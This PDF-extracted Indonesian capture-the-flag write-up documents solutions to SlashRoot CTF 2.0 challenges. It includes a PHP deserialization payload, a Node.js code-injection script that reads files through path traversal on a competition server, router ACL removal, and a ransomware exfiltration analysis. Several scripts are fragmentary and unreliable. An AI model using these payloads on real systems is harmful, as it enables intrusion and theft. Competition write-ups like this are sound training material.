Professional Documents
Culture Documents
Writeup CTF (Capture The Flag) Slashroot 2017
Writeup CTF (Capture The Flag) Slashroot 2017
Writeup CTF (Capture The Flag) Slashroot 2017
1
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Daftar Isi
Daftar Isi 2
Pendahuluan 4
Soal Dan Penjelasan 4
1.Breakfast 4
Summary Questions 4
Proof of Concept 5
2.RuZIP 7
Summary Questions 7
Proof of Concept 7
3.Overwriting Game 8
Summary Questions 8
Proof of Concept 8
4.Ezip 9
Summary Questions 9
Proof of Concept 9
5.VLAN 10
Summary Questions 10
Proof of Concept 10
6.ACL 16
Summary Questions 16
Proof of Concept 16
7.Code - BR3AKER 20
Summary Questions 20
Proof of Concept 20
8.Rev4Fun 21
Summary Questions 21
Proof of Concept 21
9.Gods Number 22
Summary Questions 22
Proof of Concept 22
10.RSA 23
Summary Questions 23
Proof of Concept 23
11.Zodiak 25
Summary Questions 25
2
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Proof of Concept 25
12.RSAlagi 26
Summary Questions 26
Proof of Concept 27
13.WannaFlag 27
Summary Questions 27
Proof of Concept 28
14.Galatic 34
Summary Questions 34
Proof of Concept 35
15.GDB 36
Summary Questions 36
Proof of Concept 36
16.Warmup 38
Summary Questions 38
Proof of Concept 38
17.Bonus 39
18.Bug Report 39
Pentutup 40
3
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Pendahuluan
SlashRoot CTF adalah event tahunan dan satu - satunya yang diadakan dari Bali
yang terbuka untuk mahasiswa/pelajar umum diseluruh Indonesia. Mensponsori
event kami akan sangat membantu kami berjuang dalam mengedepankan
kesadaran akan keamanan informasi dan hacking yang beretika ( ethical hacking )
melalui permainan hacking yang kompetitif ( CTF ) di Indonesia. Mensponsori event
ini, tentunya anda berkesempatan untuk menunjukkan taring dan jati diri dari produk
dan layanan perusahaan anda kepada lebih dari 100 orang yang tergabung dalam
suatu tim diseluruh Indonesia!
1.Breakfast
Summary Questions
Clue -
Tools Base64
Found Object -
Flag SlashRootCTF{serialization_in_a_nutshell}
4
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Proof of Concept
?code=Tzo4OiJFeGVyY2lzZSI6MTp7czo0OiJmaWxlIjtzOjExOiJwcm9jZXNzLnBocCI7fQ==
<?php
class Flag{
public $myFile = "not_flag.php";
public function __toString(){
return highlight_file($this->myFile, true);
}
}
5
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
class Exercise{
public $file = "hello_world.php";
public function __toString(){
return highlight_file($this->file, true);
}
}
$code = base64_decode($_GET['code']);
if(strpos($code, "Exercise") && strpos($code, "flag.php")){
echo "No no no!";
}else{
echo unserialize($code);
}
?>
Dari source code tersebut kita ketahui untuk membaca file flag.php kita tidak bisa
menggunakan class Exercise karena ada validasi yang membatasi itu, jadi kita bisa
menggunakan class Flag yang fungsinya sama dengan Exercise.
Tzo0OiJGbGFnIjoxOntzOjQ6ImZpbGUiO3M6ODoiZmxhZy5waHAiO30=
<?php
$flag = "The special one ... hello flag, ";
$flag .= "SlashRootCTF{serialization_in_a_nutshell}";
//echo $flag;
echo "It's secret, we won't tell you the inside of this file!";
?>
6
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
2.RuZIP
Summary Questions
Clue Corrupt
Tools Hexedit
Flag SlashRootCTF{Z1Pny4_94k_12U54k}
Categories Forensics
Proof of Concept
Perbaiki nama file yang rusak dan juga sesuaikan lenght dari nama filenya yang
sebelumnya B0 menjadi 0B = 11 , sehingga file zip dapat di extract datanya ,
referensi : https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
7
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
3.Overwriting Game
Summary Questions
File Object
Clue
Found Object
Flag SlashRootCTF{overwrite_meh_like_a_b0$$}
Categories Pwning
Proof of Concept
Script diatas berfungsi untuk Overwrite pin1 dan pin2 dengan value yang sama.
8
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
4.Ezip
Summary Questions
File Object
Clue
Tools zlib,gzip,python
Flag SlashRootCTF{4123_y0u_12ea11y_123411y_R34LLY_n33d_c0
mp12355_p123ss_pr3ss_p12E55}
Categories Cryptography
Proof of Concept
import gzip
with gzip.open('flag.txt.EZip', 'rb') as f:
s = f.read()
import zlib
last = s[0] ^ ord('E')
z = [last]
for x, y in enumerate(s[1:]):
last = y ^ last
z += [last]
print(zlib.decompress(bytes(z)))
9
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
5.VLAN
Summary Questions
Flag SlashRootCTF{D4sar_4dM1n_t3Led0R}
Categories Networking
Proof of Concept
Pada soal ini diberikan sebuah case lewat Cisco Packet Tracer, yang dimana sudah
terdapat sebuah topologi jaringan seperti berikut :
Kemudian kita juga diberikan list dari IP nya dari masing-masing device yang ada
disitu dan juga settingan nya (username, password, vlan, dll)
10
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Dan dari device-device yang ada disitu, yg bisa kita gunakan hanya Laptop Guest
Attacker. Kita coba analis topologi tersebut, dan juga list network dan Vlan yang
diberikan.
Pertama-tama kita coba mencari tau alamat IP dari Server Web dan FTP, kita coba
rentan nya dari 180.10.1.1 - 180.10.1.6 karena netmask nya /29.
Kemudian kita tracert dari Laptop Attacker ke 180.10.1.4 untuk mengetahui Hop yg
dilalui dari Laptop Attacker
Trace complete.
Ternyata disitu melewati IP 10.10.2.2 , yang kalau dilihat dari tabel itu adalah IP
antara Router Backup_1 dan Backup_2.
11
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
RTR-BACKUP_2>en
Password:
RTR-BACKUP_2#conf t
Enter configuration commands, one per line. End with CNTL/Z.
RTR-BACKUP_2(config)#do sh run
Building configuration...
12
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
!
!
!
aaa new-model
!
aaa authentication login default group radius local
Ternyata kita dapatkan sebuah Rules ACL (Access List) dari Router Backup_2,
kemudian hapus Rules tersebut :
Langkah selanjutnya kita coba ssh lagi dari Router Backup_2 ke Router Core,
karena pasangan IP 10.10.2.2 adalah IP 10.10.2.1 yaitu IP milik dari Router Core.
13
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Kemudian kita coba cek semua konfigurasi yang ada pada Router Core
RTR-CORE(config)#do sh run
Building configuration...
...
...
...
14
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
banner motd ^C
==============================================================
=======
___ ___ _ _ _____ ___ ___ ___ ___ ___ ___
| _ \/ _ \| | | |_ _| __| _ \ / __/ _ \| _ \ __|
| / (_) | |_| | | | | _|| / | (_| (_) | / _|
|_|_\\___/_\___/__|_|_|___|_|_\_ \___\___/|_|_\___|
/ __|/ _ \ / _ \| \ _ | |/ _ \| _ )
| (_ | (_) | (_) | |) | | || | (_) | _ \
\___|\___/ \___/|___/ \__/ \___/|___/
FLAG is SlashRootCTF{D4sar_4dM1n_t3Led0R}
==============================================================
=======
Dan ternyataa ada sebuah flag di dalam banner motd pada Router Core, kemudian
kita submit :
SlashRootCTF{D4sar_4dM1n_t3Led0R}
15
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
6.ACL
Summary Questions
File Object
Flag SlashRootCTF{jump4_la91_d1_f1n4l}
Categories Networking
Proof of Concept
Lanjutan dari yang Vlan diatas, setelah kita tau ada Rules ACL lagi pada Router
Core
Kemudian kita coba console router yang terakhir, yaitu Router Backup_1
Kita coba console nya lewat IP 180.10.1.1 , karena IP itulah yang berhubungan
16
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Dan ternyata berhasil, lalu kita coba lihat seluruh konfigurasi yang ada pada Router
Backup_1.
RTR-BACKUP_1(config)#do sh run
Building configuration...
..
.
Standard IP access list ROUTER-BACKUP_1-1
17
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Dan terdapat Rules ACL lagi pada Router Backup_1, namun ada yg sedikit
mencurigakan pada rules nya. Disitu terdapat rules untuk tidak membolehkan
koneksi ke ftp dengan IP 180.10.2.2
Kita menduga itu adalah FTP Server dari Server Backup. Kemudian kita hapus
Rules ACL nya.
Setelah semua rules ACL pada Router sudah kita hapus, kemudian kita coba
koneksi ke ftp server dengan IP 180.10.2.2 yang kita curigai pada rules ACL Router
Backup_1.
C:\>ftp 180.10.2.2
Trying to connect...180.10.2.2
Connected to 180.10.2.2
220- Welcome to PT Ftp server
Username:adm1nftp
331- Username ok, need password
Password:
230- Logged in
(passive mode On)
ftp>
Dan ternyata berhasillllll, lalu kita coba cari tau isi dari direktori ftp server tersebut
18
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
3 : c1841-advipservicesk9-mz.124-15.T1.bin 33591768
4 : c1841-ipbase-mz.123-14.T7.bin 13832032
5 : c1841-ipbasek9-mz.124-12.bin 16599160
6 : c2600-advipservicesk9-mz.124-15.T1.bin 33591768
7 : c2600-i-mz.122-28.bin 5571584
8 : c2600-ipbasek9-mz.124-8.bin 13169700
9 : c2800nm-advipservicesk9-mz.124-15.T1.bin 50938004
10 : c2800nm-advipservicesk9-mz.151-4.M4.bin 33591768
11 : c2800nm-ipbase-mz.123-14.T7.bin 5571584
12 : c2800nm-ipbasek9-mz.124-8.bin 15522644
13 : c2950-i6q4l2-mz.121-22.EA4.bin 3058048
14 : c2950-i6q4l2-mz.121-22.EA8.bin 3117390
15 : c2960-lanbase-mz.122-25.FX.bin 4414921
16 : c2960-lanbase-mz.122-25.SEE1.bin 4670455
17 : c2960-lanbasek9-mz.150-2.SE4.bin 4670455
18 : c3560-advipservicesk9-mz.122-37.SE1.bin 8662192
19 : pt1000-i-mz.122-28.bin 5571584
20 : pt3000-i6q4l2-mz.121-22.EA4.bin 3117390
Terdapat sebuah file SlashRootCTF.txt yang kita duga isinya pasti sesuatuuuu
19
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
7.Code - BR3AKER
Summary Questions
File Object
Clue Pass .rar? Pass .rar nya apa kak? Hmmm, gimana ya, coba aku
masuk ke pintu yang tadi lagi deh, hey pintu...!
Found Object
Flag SlashRootCTF{LM2O}
Categories Joy/Game
Proof of Concept
Pertama dapetin password rar dari game yang ada di folder key passwordnya
adalah : terbukalah, terus Dimainkan aja sampai akhir, dapatkan kode keluar dari
data/*.json strings *|grep ini kan pintu keluar.
20
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
8.Rev4Fun
Summary Questions
Clue -
Tools ida
Found Object
Flag SlashRootCTF{rev_is_0k}
Categories Reversing
Proof of Concept
21
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
9.Gods Number
Summary Questions
Clue
Tools php
Flag SlashRootCTF{4phun_bypass!}
Categories Website
Proof of Concept
22
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Kedua : $password harus number ( di php kita bisa menggunakan 1e2 exponent
sebagai number).
Keempat : panjang $passw harus > 4 ( kita gunakan minus floating exponent untuk
bypass ).
10.RSA
Summary Questions
File Object
Tools python
Found Object
Flag SlashRootCTF{1N1_312354h4h4}
Categories Crypto
Proof of Concept
Diberikan N,e,c , pertama kita cari faktorisasi dari N untuk mendapatkan p dan q
menggunakan :
https://factordb.com/index.php?query=1799159815596838211639026598242739
kemudian kita hitung phinya menggunakan rumus phi = (p-1)*(q-1) nanti di gunakan
untuk mencari d atau private exponent untuk digunakan mendekrip Ciphertext.
23
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
import gmpy2
N = 1799159815596838211639026598242739
p = 19900922910223213
q = 90405848196748703
c = 318686567182196523307366910641013
e = 200917020563208190152062461460131
t = (p-1)*(q-1)
# Decryption
m = pow(c,d,N)
print "Solved ! m = %d" % m
24
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
11.Zodiak
Summary Questions
Clue -
Tools python
Flag SlashRootCTF{horoscope_is_bullsheep}
Categories Website
Proof of Concept
Analisis awal adalah kita memanfaatkan bug template injection untuk mendapatkan
command injection ataupun reverse shell tapi setelah beberapa saat ternyata
parameter month dan day vulnerable terhadap code injection terbukti pada saat di
inputkan dengan process ataupun dengan variable yang belum di definisikan maka
akan muncul error.
Kemudian kami menggunakan python untuk membaca hasil return dari website yang
vulnerable terhadap code injection dan melakukan translasi dari decimal ke ascii.
import requests
import json
file = "../../../home/node/.flag"
fungsi = "readFileSync"
url =
"http://103.200.7.150:9087/ramal/?day=root.process.mainModule.require(%27fs%2
7)."+fungsi+"(%27"+file+"%27)&month=1&year=process&name=a"
# url =
25
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
"http://103.200.7.150:9087/ramal/?day=Buffer(1e5)&month=1&year=process&name
=a"
result = requests.get(url)
print result.text
result = json.loads(result.text)
res = ""
p = []
# try:
for x in result['day']['data']:
res += chr(x)
# except:
# print result['day']
# exit(1)
print res
12.RSAlagi
Summary Questions
Clue
Found Object
Flag SlashRootCTF{rsa_RSA_1254_Rivest-Shamir-Adleman}
Categories Crypto
26
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Proof of Concept
import base64
file = open("flag.enc","r").read()
a = int(base64.b64decode(file))
b = hex(a)[2:][:-1]
file = open("flag.enc.hex")
file.write(b.decode('hex'))
file.close()
13.WannaFlag
Summary Questions
Clue -
Flag SlashRootCTF{}
Categories Forensics
27
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Proof of Concept
Kita melakukan analisa terhadap memori pada soal yang katanya terkena
ransomware yang mengecrypt seluruh data pada drive D nya, kami menemukan
binarynya dengan tools volitality versi GUI.
Pertama kami analisa dengan mencari tahu proses apa yang sedang berjalan yang
terekam oleh memory tersebut dengan menggunakan pslist. Kemudian ada
program yang kami curigai sebagai virus bernama wannaflag.exe yang sedang
berjalan pada proses PID 600.
28
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Keempat kita cek lagi dengan perintah netscan untuk melihat trafik pada computer
yang terhubung dengan beberapa IP. Disini jelas file wannaflag.exe mempunyai
hubungan dengan IP 103.200.7.150:31337
29
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Setelah ditelusuri IP tersebut kita diharuskan memilki token untuk melihat file-file apa
saja yang terenkripsi, dan token tersebut digunakan untuk melakukan proses
dekripsi kemudian kita melakukan reverse file executable wannaflag.exe
menggunakan ILSpy karena binarnya dibuat menggunakan .NET
Kemudian merapihkan kodingan nama fungsinya tidak jelas agar memudahkan kita
dalam membaca source code https://pastebin.com/7EkhN760 , kami menemukan
adanya API yang digunakan oleh ransomware untuk menyimpan hasil dari enkripsi
tersebut yaitu di http://facebook.com:31337/api/ransom/store facebook.com
sebenarnya adalah host 103.200.7.156 yang sebelumnya mereka sudah
memodifikasi file drivers\\etc\\hosts dari korban , kesalahan ransomware tersebut
adalah mengirimkan detail file yang terencrypt ke :
- token
- filename
- key (yang digunakan sebagai password enkripsi dalam sha256)
- md5Asli
- md5Enc
Setelah itu kita membutuhkan IV dan KEY nya untuk melakukan decrypt dengan
menjalankan potongan fungsi pada ransomware tersebut untuk mendapatkan IV dan
30
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
using System;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;
31
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
32
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Setelah mendapatkan semua yang kita perlu untuk melakukan decrypt kita gunakan
python untuk mendecrypt.
# SHA256.Create().ComputeHash("k6u9a1b6");
# Mode = CipherMode.CBC;
file ="flag.png.wannaflag"
passSha256 = hashlib.sha256()
passSha256.update("k6u9a1b6")
passSha256.digest()
enc = open(file).read()
KeySize = 256;
BlockSize = 128;
key=base64.b64decode("14AMKb2KaTw4bwgfjVhXofq4ATxzif0v9mw/bazXjn4=")
iv=base64.b64decode("EAlwSdMyJTTZvqw/JoJ99Q==")
# SlashRootCTF{Y0u_FinD-The-Right_w4y_4nd_y0u_g0t_th1s}
33
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
14.Galatic
Summary Questions
File Object
Clue
Tools idapro
Found Object
Flag SlashRootCTF{revmemybruh!}
Categories Reverse
34
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Proof of Concept
plus = [3, 5, 6, 9, 10, 11, 55, 66, 34, 11, 12, 11]
enc = [84, 62, 75, 60, 66, 60, 27, 12, 61, 80, 59, 6]
val = [87, 91, 93, 95, 108, 111, 114, 126, 127, 219, 223, 241]
def ency():
res = [0, 0, 0, 0 ,0, 0, 0, 0, 0, 0 ,0, 0]
for x in range(12):
res[x] = val[x] & (enc[x] + plus[x])
return res
res = ency()
hasil = [87, 67, 81, 69, 76, 71, 82, 78, 95, 91, 71, 17]
tmp=[]
# buf = []
# print res
# exit(1)
# for x in range(12):
# if res[x] != (x+37 ^ buf[x]):
# print "salah"
# exit(1)
35
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
15.GDB
Summary Questions
File Object
Clue
Found Object
Flag SlashRootCTF{gdb_is_okay}
Categories Reverse
Proof of Concept
Pertama kita download binarynya menggunakan cat ke dalam file elf kemudian
reverse menggunakan idapro ternyata decimal dari tiap variable flag di kurangi
dengan 17. Untuk download binary kita menggunakan pwntools dan python
36
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
flag = [120, 117, 115, 112, 122, 132, 112, 128, 124, 114, 138]
flag = [chr(x-17) for x in flag]
print "SlashRootCTF{" + "".join(flag) + "}"
37
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
16.Warmup
Summary Questions
File Object
Clue
Flag SlashRootCTF{warmup_session}
Categories warmup
Proof of Concept
Dilihat dari cluenya, kita akan mengecek header IP tersebut. Dan ternyata terdapat
sebuah string yang mirip dengan Flag :
SlashRootCTF{7761726d75705f21d6f40cfb511982e4424e0e250a9557}
38
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
17.Bonus
18.Bug Report
39
PPP (Partai Persatuan Pwning)
Writeup Capture The Flag SlashRoot CTF 2.0
Kita telah melaporkan bug tersebut kepada panitia, tetapi saat kita laporkan bug
tersebut panitia serigalasalju sudah bobo karena waktu reportnya pada malam hari,
dan setelah direspon oleh panitia lainnya, kita diminta untuk report bugnya besok
pagi tapi sayangnya pada saat pagi hari kita mau report bugnya perlombaan sudah
usai
Pentutup
Salam.
40
PPP (Partai Persatuan Pwning)